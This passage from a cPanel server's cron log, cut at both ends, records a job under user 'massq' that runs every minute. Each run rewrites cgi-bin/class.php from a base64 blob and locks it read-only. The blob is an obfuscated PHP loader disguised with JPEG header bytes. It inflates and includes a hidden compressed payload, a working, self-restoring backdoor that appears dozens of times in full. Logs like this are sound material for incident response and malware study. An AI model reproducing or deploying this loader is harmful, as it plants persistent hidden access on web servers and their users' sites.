kpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:43:01 server CROND[30510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:44:01 server CROND[30579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:45:01 server CROND[30638]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 14:45:01 server CROND[30640]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 14:45:01 server CROND[30641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:46:01 server CROND[30751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:47:01 server CROND[30813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:48:01 server CROND[30983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:49:01 server CROND[31049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:50:01 server CROND[31121]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 14:50:01 server CROND[31120]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 14:50:01 server CROND[31122]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 14:50:01 server CROND[31123]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 14:50:01 server CROND[31128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:51:01 server CROND[31258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:52:01 server CROND[31334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:53:01 server CROND[31568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:54:01 server CROND[31636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:55:01 server CROND[31716]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 14:55:01 server CROND[31717]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:55:01 server CROND[31718]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 14:56:01 server CROND[31834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyI